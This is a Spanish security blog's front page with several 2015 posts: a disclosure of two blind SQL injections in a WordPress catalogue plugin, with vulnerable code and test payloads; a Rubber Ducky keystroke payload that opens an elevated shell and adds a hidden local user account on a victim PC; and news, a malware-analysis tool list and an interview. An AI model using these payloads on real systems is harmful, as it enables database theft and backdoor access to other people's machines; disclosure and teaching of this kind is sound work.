Ads 468x60px

.

Featured Posts

lunes, 27 de abril de 2015

Liberando algunas vulnerabilidades - Ultimate Product Cataloge v2.1.2 (I de II)

Hola a todos,

    Wordpress es una de las plataformas CMS más extendidas en Internet, rozando el 50% del todos los CMS del mercado. Los plugins desarrollados para esta plataforma se cuentan por miles. La facilidad para publicar tu plugin (tan solo es necesario registrarse gratuitamente) permite que haya una legión de empresas y autónomos desarrollando para este CMS. Esta gran variedad de desarrolladores tiene su parte buena y su parte mala. La buena es la gran oferta de plugins que permiten a los usuarios personalizar su web rápidamente y tener infinidad de funcionalidades a su disposición, la parte mala es que algunos de estos desarrolladores no siguen unas buenas prácticas de seguridad a la hora de programar estos plugins, de ahí que nos encontremos también con esa ingente cantidad de vulnerabilidades para esta plataforma.

    En este post, el primero de dos partes, voy a publicar 5 vulnerabilidades encontradas en unos de estos plugin. En este hablaré de dos inyecciones SQL ciegas sin autenticar y en el siguiente hablaré de otras que prefiero no detallar hasta que no estén solucionadas (IMPORTANTE: La empresa ya ha sido notificada y estas dos SQLi que publico ya están solucionadas en la versión 3.1.3).

Plugin afectado

    El plugin afectado es Ultimate Product Cataloge en su versión v2.1.2 (y probablemente en anteriores), un plugin con alrededor de 61.000 descargas y más de 4.000 instalaciones activas.

    Explorando entre el código de este plugin con un par de greps y expresiones regulares se puede encontrar en qué ficheros se están ejecutando algunas queries SQL que no están siendo filtradas adecuadamente mediante el uso de $wpdb->prepare o esq_sql.

En el plugin analizado se llegaron a identificar dos funcionalidades en los que un usuario sin autenticar interactua con el este plugin, que construye la consulta SQL de forma insegura.

1º SQLi: Inyección en la consulta de un producto único [1] [3]

En el momento que un usuario selecciona del catálogo de productos uno de ellos, dependiendo de la configuración del plugin, este le redirigirá a la página que detalla la información del producto. Se nos redirigirá a una página con una URL similar a la siguiente:

http://<wordpress site>/?&SingleProduct=2


Esta URL hará una llamada a la función "SingleProductPage()" localizada en el fichero "Functions/Shortcodes.php", donde la query que se construye es como la siguiente:

[...]
else {$Product = $wpdb->get_row("SELECT * FROM $items_table_name WHERE Item_ID='".$_GET['SingleProduct']."'");}
[...]

Supongo que ya vemos por donde van los tiros con esta query y si tenemos claro los conceptos de una inyección SQL ciega, podéis saltaros el siguiente apartado. En caso contrario, os dejo un ejemplo de cómo se puede probar la vulnerabilidad.

POC

Si el parámetro es un entero como un 2, la query será la siguiente:

SELECT * FROM $items_table_name WHERE Item_ID='2'

y devolverá los detalles del producto con este identificador que se encuentre almacenado en la base de datos, pero también devolverá el mismo resultado si en vez de insertar un 2, insertamos 2' and 'a'='a y posteriormente 2' and 'a'='b produciendo la siguientes queries:

SELECT * FROM $items_table_name WHERE Item_ID='2' and 'a'='a'
SELECT * FROM $items_table_name WHERE Item_ID='2' and 'a'='b'

Comparando respuesta del servidor del primer caso con la del segundo, podremos ver que se pueden inyectar condiciones lógicas en el parámetro SingleProduct y que a través de la respuesta del servidor se podrán identificar si se han evaluado como verdaderas o falsas.

Llevando esta prueba de concepto a una utilidad más amplia para un atacante, podrían inyectarse pruebas como preguntar al servidor si la primera letra del usuario que accede a la base de datos es la "c" inyectando lo siguiente 2' and substr(user(),1,1)='c, ejecutando la query final siguiente:

SELECT * FROM $items_table_name WHERE Item_ID='2' and substr(user(),1,1)='c'


Si la respuesta del servidor es igual a aquella que obtuvimos cuando el parámetro era tan solo un 2 (es decir, se visualiza la misma página), entonces sabemos que se ha evaluado a True esta query inyectada y que por tanto, el nombre del usuario de la base de datos empieza efectivamente por una 'c'. 

Para no eternizarnos con las pruebas manuales, SQLMap puede ayudarnos con la extracción de datos.

Es importante comentaros que esta vulnerabilidad será explotable si el servidor tiene desactivadas las magic_quotes_gpc en la configuración de php.ini, en caso contrario, automáticamente se escaparán las comillas introducidas en los parámetros con una contrabarra '\' y la explotación no será posible tan fácilmente.

2º SQLi: Inyección en el contador de visitas de un producto [2]

En este caso, la vulnerabilidad, similar a la anterior, pero con la dificultad añadida de que la respuesta del servidor siempre es vacía y por tanto no se podrá distinguir entre una inyección evaluada a True a través de lo que se visualice. Por tanto, se deberán utilizar inyecciones basadas en tiempo, como por ejemplo SLEEP o BENCHMARK, pudiendo introducir condiciones como "si la primera letra del usuario es una "c" duerme 5 segundos". Así pues, se podrá utilizar la medición del tiempo de respuseta del servidor como método de detectar si una query se ha evaluado a True o False (de nuevo, el uso de SQLMap o similares es necesario si no quieres eternizarte con las pruebas manuales)

La inyección se encuentra en la función que se ejecuta automáticamente cada vez que se visita un producto por parte de un visitante a la web. Esta función parece ser la encargada de contar cuantas veces los usuarios han visitado un producto, almacenando en la base de datos un contador de visualizaciones.

La query con el parámetro vulnerables se encuentran en Functions/Process_Ajax.php y el parámetro inyectable es Item_ID dentro de la función Record_Item_View():

[...]
$Item_ID = $_POST['Item_ID'];$Item = $wpdb->get_row("SELECT Item_Views FROM $items_table_name WHERE Item_ID=" . $Item_ID);
[...]
add_action('wp_ajax_record_view', 'Record_Item_View');add_action('wp_ajax_nopriv_record_view', 'Record_Item_View' );
[...]

En este caso, a diferencia de la anterior vulnerabilidad no es necesario que magic_quotes_gpc estén deshabilitadas en el servidor ya que la query que se construye no hace uso de comillas simples o compuestas en el parámetro inyectable.

POC

Utilizando burp para visualizar las peticiones que se realizan al hacer click sobre uno de los productos, vemos que automáticamente se llama a la acción "record_view" a través de un POST a "/wp-admin/admin-ajax.php". Los parámetros enviados a esta pagina se verán en el burp similares a:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: <wordpress host>
[...]
Cookie: wordpress_f305[...]

Item_ID=2&action=record_view

Inyectando en Item_ID 2 and SLEEP(10) la respuesta de la página deberá retrasarse 10 segundos más que la query sin inyectar, dejándonos la evidencia de que en este parámetro se puede inyectar código SQL.



La mecánica para extraer los datos de la base de datos es similar al anterior SQLi y como ya se ha mencionado, no será necesario que el servidor de destino tenga deshabilitado las magic quotes.

En el próximo artículo espero poder liberar de un par de vulnerabilidades diferentes a SQLi también muy interesantes.
PD: ¡Actualizad siempre!

martes, 21 de abril de 2015

Rootpipe MAC OS X Backdoor



Hola a tod@s



Apple ha fallado en el parcheo de Rootpipe y deja Backdoor en los sistemas operativos Macs, todos los Macs son vulnerables a escalada de privilegios.


¿Qué es RootPipe?

En octubre de 2014, el hacker Emil Kvarnhammar descubrió un fallo en la manzana, dicha vulnerabilidad (CVE-2015-1130), según la información del CVE mayormente consistía en que un atacante podría tomar el control completo del PC, mediante escalda de privilegios.


Teniendo en cuenta el efecto devastador de la vulnerabilidad de RootPipe, Kvarnhammar reportó el fallo a Apple y no reveló los detalles del fallo públicamente hasta que la compañía lanzó un parche para solucionarlo, hasta aquí todo bien. Apple liberó una actualización para parchear la vulnerabilidad de RootPipe.


Aquí comienza lo bueno, a principios de este mes, Apple lanzó la última versión de Mac OS X Yosemite, es decir, OS X Yosemite 10.10.3 y afirmaron que habían solucioando la vulnerabilidad, que había estado residiendo en ordenadores Mac desde 2011.


Sin embargo, la empresa no arregló el defecto en las versiones anteriores (debajo de 10.10) del sistema operativo, dejando a decenas de millones de usuarios de la manzanita en riesgo.
En líneas anteriores, os comente que comenzaba lo bueno, pero atención a las siguientes líneas, lo mejor está por llegar. Lo que se supone que arreglaría el problema, es decir el parche ¡es también vulnerable! ¡What!

Phoenix; RootPipe Reborn from patrick wardle on Vimeo.




No seáis malos.





viernes, 17 de abril de 2015

Recopilación servicios online para analizar malware



Hola a tod@s

Para los amantes del malware traemos hoy una recopilación de recursos online donde subir y analizar muestras de “bichos”.
Comenzamos la recopilación por el más conocido por todos, Virustotal, la primera sede de Google en Andalucía ;)

  • Virustotal: Escáner online de virus, malware y URLs, analiza las aplicaciones con más de 50 motores antivirus.
  • Jottis malware scan: Es un servicio online que permite escanear archivos sospechosos con varios programas antivirus.
  • Metascan Online: Otro escáner online gratuito de ficheros con más motores de antivirus que Jottis.
  • Anubis: El informe es bastante completo y nos muestra gran cantidad de información sobre cómo interacciona el virus con el registro de Windows, el sistema de archivos, la red, llamadas al sistema, etc. Además de subir cualquier ejecutable, también nos permite subir archivos .apk de Android. Tras finalizar, Anubis nos permite descargar el análisis en varios formatos, incluyendo HTML, XML o PDF, y además, podemos descargar el fichero .pcap con el tráfico generado por el malware, para mí de lo mejor para analizar archivos online.
  • ThreatExpert: Es un sistema de análisis de amenaza automatizado avanzado diseñado para analizar y reportar el comportamiento de los virus informáticos, gusanos, troyanos, adware o spyware.
  • Eureka Malware Analysis Page : Servicio de análisis automático de binarios de malware. Nos permite descargar el ejecutable desempaquetado por si queremos analizarlo nosotros mismos, y nos permite examinar el desensamblado del ejecutable así como el diagrama de flujo de ejecución del mismo.
  • Wepawet: Enfocado a ficheros JavaScript, PDF y Flash.
  • VirSCAN: Escáner de virus, soporta 36 motores de antivirus.
  • malwr.com: Servicio de análisis de malware gratuito hecho a partir de un sandbox Cuckoo
  • Joe Security: Además de un análisis dinámico y un interesante análisis estático que busca partes del código que sólo se ejecutaran bajo ciertas condiciones (por ejemplo, malware dirigido a un objetivo concreto) y por lo tanto, son difíciles de detectar en un análisis dinámico normal. Un sistema muy completo, pudiendo analizar ficheros .apk, ejecutables, documentos o URLs.
  • ViCheck.ca: Además de ejecutables, ViCheck.ca puede examinar archivos en formato MS Office Word, Powerpoint, Excel, Access o Adobe PDF. Permite la carga de varios archivos a la vez. Lo único que tendremos que poner en el formulario, además del archivo que queremos examinar, es un correo electrónico donde se enviará el resultado del análisis.
  • AndroTotal: De esta aplicación ya hablamos aquí. Analiza las aplicaciones con varios motores antivirus, menos que Virustotal. Además, muestra información como los permisos y las actividades que realiza la aplicación.
  • Mobile Sandbox: Permite acceder a la información de un análisis estático de toda la vida.
  • Akana: Es un entorno interactivo online que muestra la información típica de un análisis estático.
A analizar muestras!

No seáis malos.
 

martes, 14 de abril de 2015

Nueva vulnerabilidad SMB afecta a todas las versiones de Windows

Hola a tod@s


Nuevo fallo al protocolo SMB (Server Message Block) que afecta a todas las versiones de Windows, esta vulnerabilidad ha sido clasificada como grave. Dicha vulnerabilidad permite que un atacante pueda robar las credenciales de servicios del usuario.

El error está relacionado con la forma en que Windows y otro software manejan algunas peticiones HTTP, y los investigadores dicen que afecta a una amplia gama de aplicaciones, incluyendo iTunes y Adobe Flash, algunos clientes de GitHub, Oracle y AVG Anti-virus. La vulnerabilidad, divulgada el lunes por los investigadores en Cylance, es una extensión de la investigación realizada por Aaron Spangler hace casi 20 años, conocida como “redirect to SMB”. Esta debilidad puede permitir a un atacante forzar a las víctimas para que se autentiquen mediante hijacking en un servidor controlado por el atacante, mediante ataques man-in-the-middle y luego enviarlos a servidores maliciosos SMB. Con lo que ello supone, robo de credenciales.

Microsoft todavía tiene que lanzar un parche para arreglar la redirección a la vulnerabilidad SMB. La solución más simple es bloquear el tráfico saliente de TCP 139 y 445 TCP en el firewall.

Microsoft no resolvió el problema reportado por Aaron Spangler en 1997. Esperamos que esta nueva investigación obligue a Microsoft a reconsiderare esta vulnerabilidad y deshabilite la autenticación con servidores SMB no confiables. 



No seáis malos. 

domingo, 12 de abril de 2015

Mi Pato y Yo 2ºParte

Hola a tod@s

Hoy traemos el segundo capítulo de la cadena de artículos sobre Rubber Ducky. En el primer capítulo creamos un sencillo payload, simplemente el compañero se dejaba el PC sin bloquear y le dejábamos un bonito mensaje en un txt en su desktop. 

Para este segundo capítulo queríamos darle un giro más de tuerca y crear un payload un poco más sofisticado. Con este payload podremos crearnos una cuenta de usuario en la máquina víctima y entrar más tarde, ya sea por acceso remoto, o bien con acceso físico, ;)

A continuación el código necesario para crear este payload:

  1. REM addlocaluser
  2. DELAY 5000
  3. GUI r
  4. DELAY 50
  5. STRING powershell Start-Process cmd -verb runas
  6. ENTER
  7. DELAY 200
  8. ENTER
  9. DELAY 200
  10. STRING net user braco 1234 /add
  11. ENTER
  12. DELAY 200
  13. STRING exit
  14. ENTER

La utilización de Rubber Ducky es sencilla, se puede enumerar en los siguientes pasos:
  1. Primer paso será crear el payload en un archivo de texto.
  2. Segundo paso será encodear el archivo de texto.
  3. Tercer paso será cargar el binario creado en la tarjeta de memoria de Rubber Ducky.
  4. Cuarto paso pinchar el Rubber Ducky en el PC víctima.
Como una imagen vale más que mil palabras, os dejo con el video, recordad que estos videos estarán disponibles en nuestro Canal de Youtube o en próximos artículos, no olvidéis suscribiros al canal de Youtube, así como feed y demás redes sociales para estar al tanto de las novedades .


No seáis malos.

PD: Este artículo no habría sido posible sin la inestimable colaboración de @kioardetroya

jueves, 9 de abril de 2015

Un Minuto sin 01 con César Lorenzana



Hola a tod@s


Hoy tenemos el placer de tener en un minuto sin 01 a César Lorenzana, capitán del Grupo de Delitos Telemáticos de la Guardia Civil, grupo que nos ayuda a tener una red mas segura. 
César es una persona a la que le apasiona su trabajo y suele participar en la mayoría de congresos de seguridad y hacking de nuestro país.



1º ¿Quién es César?
Un tipo con mucha suerte, porque he conseguido convertir dos de mis pasiones en mi trabajo diario, y además rodearme de un grupo de profesionales excelentes de los que aprendo todos los días. Aparte de eso, alguien que trata de ser honesto consigo mismo y con los demás.


2º ¿Que sueles hacer cuando tienes tiempo libre?
Tiempo que??. Lo cierto es que entre obligaciones profesionales y personales no me queda mucho, pero siempre que tengo un hueco libre me encierro a escuchar música, o me escapo a esquiar, la única pasión con la que no he conseguido ganarme la vida.... aunque lo intenté :-).

 
3º Si no hubieras sido informático, ¿A qué te hubieras dedicado?
Lo cierto es que no sé dónde hubiera acabado. Cuando era pequeño ni me imaginaba estar donde estoy. Quizás hubiera acabado de monitor de esquí como te decía antes. Persiguiendo la nieve perfecta por el mundo,  Europa en Invierno, Sudamérica en verano..... suena bien eh?

 
4º El último libro que has leído.
Los anteproyectos de reforma del Código Penal y la Ley de Enjuiciamiento Criminal. No son libros como tales, pero desde mi punto de vista su lectura resulta igual de instructiva, sobre todo para tratar de paliar los posibles problemas que puedan presentarse en el futuro, cuando haya que aplicarlos. Si hablamos de novelas... un clásico, Hacker Épico, y aún tengo en la mesita la biografía de Steve Jobs.

 

5º Tu plato favorito.
Casi cualquier cosa tradicional, lo cierto es que me gusta probar lo típico de los lugares a los que voy, ya sea España o en el extranjero, y casi siempre está todo muy bueno. Pero si tengo que elegir me quedo con el Botillo, un plato típico del Bierzo (mi patria chica) que te garantiza no pasar hambre en una semana.

 
6º El último sueño raro que tuviste.
Ufff, tengo la enorme suerte de dormir profundamente, especialmente en los aviones, y no recuerdo los sueños, así que me temo que esta la dejo en blanco, como mis sueños :-P

 
7º ¿Qué música sueles escuchar?
Pues va por rachas, me gusta casi todo ..... rock, punk, pop, música de los 80,.... incluso hasta flamenco XD. Creo que cada momento tiene su banda sonora, y los grandes músicos lo son independientemente de su estilo. Últimamente tiro mucho de producto nacional como Izal, Supersubmarina, León Benavente, o Vetusta Morla, aunque tampoco olvido a mis clásicos como U2, Queen, AC/DC, Ramones, Sex Pistols, Status Quo, Beattles, Rolling,...etc. Lo cierto es que la Playlist de mi iPhone es bastante ecléctica y variada.

 
8º Lo último que piensas antes de dormirte.
Si me queda algo por hacer o si me he olvidado de algo. Si es así, me tengo que levantar porque soy bastante obsesivo con eso. Aunque normalmente caigo redondo y esos pensamientos me duran 30 segundos, por lo que no suelo volver a levantarme.

 
9º Lo primero que piensas cuando te levantas por la mañana.
No suelo pensar, por las mañanas voy en automático. Cojo el teléfono, miro la hora, me levanto, café y a mirar el correo. Como te he dicho soy bastante obsesivo con limpiar la bandeja de entrada.

 
10º Lo primero que harías si fueras presidente.  
Reclutar a los mejores en cada campo y con ellos formar un consejo de sabios de verdad, para buscar y proponer soluciones. Creo firmemente que una persona no puede saber de todo ni manejarlo todo, por eso debe rodearse de los mejores, y no de gente que le alabe en todo momento. En definitiva, elegir al mejor para cada puesto, eso es lo que se le supone a cualquier líder o directivo.

Related Posts Plugin for WordPress, Blogger...
 
"Los que consiguen que se rindan impotentes los ejércitos ajenos sin luchar son los mejores maestros del Arte de la Guerra"
Tzun Tzu.

 
cookie script